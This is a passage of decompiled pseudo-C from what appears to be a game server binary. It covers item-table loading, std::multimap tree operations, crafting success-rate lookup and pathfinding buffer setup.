AssertClass::ac_AssertFail(&shineassert, "MysteryVaultTable::IsCheckClassType Not Define Type", 0); goto LABEL_10; } } else { LABEL_10: result = 0; } return result; } //----- (005900E0) -------------------------------------------------------- std::_Tree_nod,std::allocator >,0> >::_Node *__thiscall std::_Tree_std::allocator>_0>>::_Buynode(std::_Tree,std::allocator >,0> > *this) { std::_Tree_nod,std::allocator >,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator >,0> >::_Node *)operator new(0x18u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator >,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator >,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (00590120) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_1>>::_Erase(std::_Tree,std::allocator >,1> > *this, std::_Tree_nod,std::allocator >,1> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator >,1> > *v3; // ebx@1 std::_Tree_nod,std::allocator >,1> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator>_1>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (00590160) -------------------------------------------------------- std::_Tree,std::allocator >,1> >::iterator *__cdecl MysteryVaultTable::Getloweriter(std::_Tree,std::allocator >,1> >::iterator *result, unsigned __int16 itemid) { std::_Tree_nod,std::allocator >,1> >::_Node *v2; // ecx@1 std::_Tree_nod,std::allocator >,1> >::_Node *v3; // eax@1 std::_Tree,std::allocator >,1> >::iterator *v4; // eax@6 v2 = MysteryVaultTable::sm_ItemLists._Myhead; v3 = MysteryVaultTable::sm_ItemLists._Myhead->_Parent; while ( !v3->_Isnil ) { if ( v3->_Myval.first >= itemid ) { v2 = v3; v3 = v3->_Left; } else { v3 = v3->_Right; } } v4 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v2; return v4; } //----- (005901A0) -------------------------------------------------------- std::_Tree,std::allocator >,1> >::iterator *__cdecl MysteryVaultTable::GetUpperiter(std::_Tree,std::allocator >,1> >::iterator *result, unsigned __int16 itemid) { std::_Tree_nod,std::allocator >,1> >::_Node *v2; // ecx@1 std::_Tree_nod,std::allocator >,1> >::_Node *v3; // eax@1 std::_Tree,std::allocator >,1> >::iterator *v4; // eax@6 v2 = MysteryVaultTable::sm_ItemLists._Myhead; v3 = MysteryVaultTable::sm_ItemLists._Myhead->_Parent; while ( !v3->_Isnil ) { if ( itemid >= v3->_Myval.first ) { v3 = v3->_Right; } else { v2 = v3; v3 = v3->_Left; } } v4 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v2; return v4; } //----- (005901E0) -------------------------------------------------------- std::_Tree,std::allocator >,1> >::iterator *__thiscall std::_Tree_std::allocator>_1>>::_Insert(std::_Tree,std::allocator >,1> > *this, std::_Tree,std::allocator >,1> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,1> >::_Node *_Wherenode, std::pair *_Val) { std::_Tree,std::allocator >,1> > *v5; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator >,1> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator >,1> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator >,1> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator >,1> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator >,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x1FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator>_1>>::_Buynode( (std::_Tree,std::allocator >,0> > *)this, (std::_Tree_nod,std::allocator >,0> >::_Node *)this->_Myhead, (std::_Tree_nod,std::allocator >,0> >::_Node *)_Wherenode, (std::_Tree_nod,std::allocator >,0> >::_Node *)this->_Myhead, (std::pair *)_Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; v5->_Myhead->_Left = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; v5->_Myhead->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; } else { if ( _Addleft ) { _Wherenode->_Left = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; } else { _Wherenode->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 20) = 1; *(_BYTE *)(v14 + 20) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 20) = 0; v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00590390) -------------------------------------------------------- std::_Tree,std::allocator >,1> >::iterator *__thiscall std::_Tree_std::allocator>_1>>::erase(std::_Tree,std::allocator >,1> > *this, std::_Tree,std::allocator >,1> >::iterator *result, std::_Tree,std::allocator >,1> >::iterator _Where) { std::_Tree,std::allocator >,1> > *v3; // ebp@1 std::_Tree,std::allocator >,1> >::iterator v4; // ebx@4 std::_Tree,std::allocator >,1> >::iterator v5; // edi@5 std::_Tree,std::allocator >,1> >::iterator v6; // ecx@8 std::_Tree,std::allocator >,1> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator >,1> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator >,1> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator >,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator >,1> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator >,1> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator >,1> >::iterator *v18; // eax@62 std::_Tree,std::allocator >,1> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 21) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator>_0>>::const_iterator::_Inc((std::_Tree,std::allocator >,0> >::const_iterator *)&_Where); if ( *(_BYTE *)(**(_DWORD **)&v4 + 21) ) { v5 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator >,1> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator >,1> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator >,1> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v10 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator>_1>>::_Min(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); v9->_Left = (std::_Tree_nod,std::allocator >,1> >::_Node *)v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator >,1> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v11->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)v7; else v11->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)std::_Tree_std::allocator>_1>>::_Max(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 21) ) { v5 = (std::_Tree,std::allocator >,1> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator >,1> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 20); *(_BYTE *)(*(_DWORD *)&v6 + 20) = *(_BYTE *)(*(_DWORD *)&v4 + 20); *(_BYTE *)(*(_DWORD *)&v4 + 20) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 20) == 1 ) { if ( (std::_Tree_nod,std::allocator >,1> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 20) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 20) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator >,1> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 20) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00590650) -------------------------------------------------------- std::pair,std::allocator >,1> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_1>>::insert(std::_Tree,std::allocator >,1> > *this, std::pair,std::allocator >,1> >::iterator,bool> *result, std::pair *_Val) { std::_Tree_nod,std::allocator >,1> >::_Node *v3; // eax@1 std::_Tree_nod,std::allocator >,1> >::_Node *v4; // esi@1 const unsigned __int16 v5; // di@2 int v6; // ecx@7 std::pair,std::allocator >,1> >::iterator,bool> *v7; // eax@7 char _Addleft; // [sp+8h] [bp-4h]@1 v3 = this->_Myhead->_Parent; v4 = this->_Myhead; _Addleft = 1; if ( !v3->_Isnil ) { v5 = _Val->first; do { v4 = v3; _Addleft = v5 < v3->_Myval.first; if ( v5 >= v3->_Myval.first ) v3 = v3->_Right; else v3 = v3->_Left; } while ( !v3->_Isnil ); } v6 = *(_DWORD *)&std::_Tree_std::allocator>_1>>::_Insert( this, (std::_Tree,std::allocator >,1> >::iterator *)&_Val, _Addleft, v4, _Val)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v7 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; result->second = 1; return v7; } //----- (005906C0) -------------------------------------------------------- int std::_Tree_std::allocator>_1>>::erase(...) { std::_Tree,std::allocator >,1> >::iterator v4; // ebx@1 std::_Tree,std::allocator >,1> >::iterator v5; // esi@1 std::_Tree,std::allocator >,1> > *v6; // edi@1 std::_Tree_nod,std::allocator >,1> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator >,1> >::_Node *v8; // eax@3 std::_Tree,std::allocator >,1> >::iterator *v9; // eax@3 std::_Tree,std::allocator >,1> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator >,1> >::iterator j; // eax@7 std::_Tree,std::allocator >,1> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator >,1> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator >,1> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 21) ) { for ( i = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 21); i = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator >,1> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 21); j = (std::_Tree,std::allocator >,1> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator>_1>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator>_1>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (00590780) -------------------------------------------------------- bool __thiscall MysteryVaultTable::DataProcess(MysteryVaultTable *this) { unsigned int i; // ebx@1 int v2; // eax@2 void *v3; // esi@4 unsigned __int16 v4; // di@4 SkillDataBox::SkillDataIndex *v5; // eax@5 unsigned __int16 v6; // ax@6 std::pair _Val; // [sp+10h] [bp-10h]@5 std::pair,std::allocator >,1> >::iterator,bool> result; // [sp+18h] [bp-8h]@5 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), i); v4 = ItemDataBox::idb_2itemid(&itemdatabox, (const char *)v3); if ( v4 == -1 ) { AssertClass::ac_AssertFail( &shineassert, " MysteryBoltTable::DataProcess() Invalid Group ItemId :", (const char *)v3); return 0; } v5 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UsePresentBox"); UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v4, &ui_mysterybolt, v5); _Val.first = v4; _Val.second = (MysteryVaultServer *)v3; if ( *(std::_Tree_nod,std::allocator >,1> >::_Node **)&std::_Tree_std::allocator>_1>>::insert(&MysteryVaultTable::sm_ItemLists, &result, &_Val)->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] == MysteryVaultTable::sm_ItemLists._Myhead ) { AssertClass::ac_AssertFail(&shineassert, " MysteryBoltTable::DataProcess() InSert Fail :", (const char *)v3); return 0; } v6 = ItemDataBox::idb_2itemid(&itemdatabox, (const char *)v3 + 36); if ( v6 == -1 ) { AssertClass::ac_AssertFail( &shineassert, " MysteryBoltTable::DataProcess() Invalid Make ItemId :", (const char *)v3 + 36); return 0; } if ( ItemDataBox::operator__(&itemdatabox, v6)->data->MaxLot < *((_BYTE *)v3 + 68) ) { AssertClass::ac_AssertFail(&shineassert, " MysteryBoltTable::DataProcess() Maxlot Over :", (const char *)v3 + 36); return 0; } } return 1; } // 131DB474: using guessed type int ITableBase_MysteryVaultServer_MysteryVaultTable___ms_pkTable; //----- (005908C0) -------------------------------------------------------- void __thiscall std::multimap_std::allocator>>::_multimap_std::allocator>>(std::multimap,std::allocator > > *this) { std::multimap,std::allocator > > *v1; // esi@1 std::_Tree,std::allocator >,1> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator >,1> >::iterator)this; v1 = this; std::_Tree_std::allocator>_1>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator >,1> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator >,1> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (005908F0) -------------------------------------------------------- bool __cdecl ProdSucRateTable::GetRateInfo(ProdSucRateTable::RateInfo *pInfo, unsigned int PlayerPoint, unsigned int ProducePoint) { bool result; // al@2 unsigned int i; // esi@3 int v5; // eax@4 void *v6; // eax@6 int v7; // ecx@10 if ( pInfo ) { for ( i = 0; ; ++i ) { v5 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v5 || i >= *(_DWORD *)(v5 + 40) || (v6 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), i)) == 0 ) return 0; if ( ProducePoint <= *(_WORD *)v6 ) break; } if ( PlayerPoint >= 0x9C4 ) { if ( PlayerPoint >= 0x1388 ) { if ( PlayerPoint >= 0x3A98 ) v7 = 4 - (PlayerPoint < 0xEA60); else v7 = 2; } else { v7 = 1; } } else { v7 = 0; } pInfo->FailPoint = *(_WORD *)((char *)v6 + ProdSucRateTable::FalUp_Variables[v7]); pInfo->SucPoint = *(_WORD *)((char *)v6 + ProdSucRateTable::SucUp_Variables[v7]); pInfo->SucProbability = *(_WORD *)((char *)v6 + ProdSucRateTable::SucChance_Variables[v7]); result = 1; } else { result = 0; } return result; } // 131DB470: using guessed type int ITableBase_ProdSucRate_ProdSucRateTable___ms_pkTable; //----- (005909B0) -------------------------------------------------------- void __thiscall Navigator::NaviPoint::NaviPoint(Navigator::NaviPoint *this) { this->np_RealY = 0; this->np_RealX = 0; this->np_IsDeleted = 0; } //----- (005909C0) -------------------------------------------------------- void __thiscall Navigator::NaviPoint::NaviPoint(Navigator::NaviPoint *this, unsigned int x, unsigned int y) { this->np_RealX = x; this->np_RealY = y; this->np_IsDeleted = 0; } //----- (005909E0) -------------------------------------------------------- void __thiscall BitSet::_BitSet(BitSet *this) { operator delete(this->bs_bitlist); } //----- (005909F0) -------------------------------------------------------- void __thiscall Navigator::MapNavigator::_MapNavigator(Navigator::MapNavigator *this) { operator delete(this->mn_CellBuffer.pfb_Buffer); } //----- (00590A00) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 12; return result; } //----- (00590A20) -------------------------------------------------------- void __cdecl std::fill(SHINE_XY_TYPE *_First, SHINE_XY_TYPE *_Last, SHINE_XY_TYPE *_Val) { SHINE_XY_TYPE *i; // eax@1 for ( i = _First; i != _Last; ++i ) { i->x = _Val->x; i->y = _Val->y; } } //----- (00590A50) -------------------------------------------------------- void __thiscall Navigator::PathFindBuffer::PathFindBuffer(Navigator::PathFindBuffer *this, int buffersize) { Navigator::PathFindBuffer *v2; // esi@1 int v3; // ecx@1 int v4; // edx@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::PathFindBuffer::PathFindBuffer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::PathFindBuffer::PathFindBuffer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->pfb_BufferSize = buffersize; v2->pfb_Buffer = (Navigator::PathFindCell *)operator new__((2 * buffersize + 1) * (40 * buffersize + 20)); v3 = 0; if ( (2 * v2->pfb_BufferSize + 1) * (2 * v2->pfb_BufferSize + 1) > 0 ) { v4 = 0; do { v2->pfb_Buffer[v4].pfc_EmptyFlag = -1; ++v3; ++v4; } while ( v3 < (2 * v2->pfb_BufferSize + 1) * (2 * v2->pfb_BufferSize + 1) ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::PathFindBuffer::PathFindBuffer"); } //----- (00590B40) -------------------------------------------------------- Navigator::PathFindCell *__thiscall Navigator::PathFindBuffer::operator__(Navigator::PathFindBuffer *this, Navigator::UnitPoint pnt) { Navigator::PathFindBuffer *v2; // esi@1 int v3; // eax@1 int v4; // edx@5 Navigator::PathFindCell *v5; // eax@5 Navigator::PathFindCell *v6; // esi@5 Navigator::PathFindCell *result; // eax@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::PathFindBuffer::operator ()"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::PathFindBuffer::operator ()"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->pfb_BufferSize; if ( pnt.up_X > v3 || pnt.up_X < -v3 || pnt.up_Y > v3 || pnt.up_Y < -v3 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::PathFindBuffer::operator ()"); result = 0; } else { v4 = 5 * (v3 + pnt.up_Y + (v3 + pnt.up_X) * (2 * v3 + 1)); v5 = v2->pfb_Buffer; --funcallanalizer.fca_stackpoint; v6 = &v5[4 * v4 / 0x14u]; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::PathFindBuffer::operator ()"); result = v6; } return result; } //----- (00590C30) -------------------------------------------------------- void __thiscall Navigator::MapNavigator::MapNavigator(Navigator::MapNavigator *this, int buffersize, int stepsize) { int v3; // edi@1 Navigator::MapNavigator *v4; // ebp@1 int v5; // esi@1 int v6; // ebx@1 Navigator::PathFindCell *v7; // eax@3 int buffersizea; // [sp+24h] [bp+4h]@1 v3 = buffersize; v4 = this; Navigator::PathFindBuffer::PathFindBuffer(&this->mn_CellBuffer, buffersize); v5 = -buffersize; v6 = -buffersize; v4->mn_EmptyFlag = 0; buffersizea = -buffersize; if ( -v3 > v3 ) { v4->mn_StepSize = stepsize; } else { do { if ( v5 <= v3 ) { do { v7 = Navigator::PathFindBuffer::operator__(&v4->mn_CellBuffer, (Navigator::UnitPoint)__PAIR__(v5++, v6)); v7->pfc_EmptyFlag = v4->mn_EmptyFlag; } while ( v5 <= v3 ); v5 = buffersizea; } ++v6; } while ( v6 <= v3 ); v4->mn_StepSize = stepsize; } } //----- (00590CD0) -------------------------------------------------------- int __thiscall Navigator::MapNavigator::mn_ExitFromBlock(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int *startx, unsigned int *starty) { int *v4; // esi@1 unsigned int *v5; // edi@1 int v6; // ebp@1 Navigator::VirtualMap *v7; // ebx@1 unsigned int v8; // eax@1 int v9; // eax@3 int v10; // ebp@6 bool v11; // sf@11 unsigned __int8 v12; // of@11 unsigned int ox; // [sp+10h] [bp-20h]@1 int v15; // [sp+14h] [bp-1Ch]@4 int oy; // [sp+18h] [bp-18h]@1 unsigned int i; // [sp+1Ch] [bp-14h]@1 FunctionEntarance _; // [sp+20h] [bp-10h]@1 int v19; // [sp+2Ch] [bp-4h]@1 int vma; // [sp+34h] [bp+4h]@3 int startxa; // 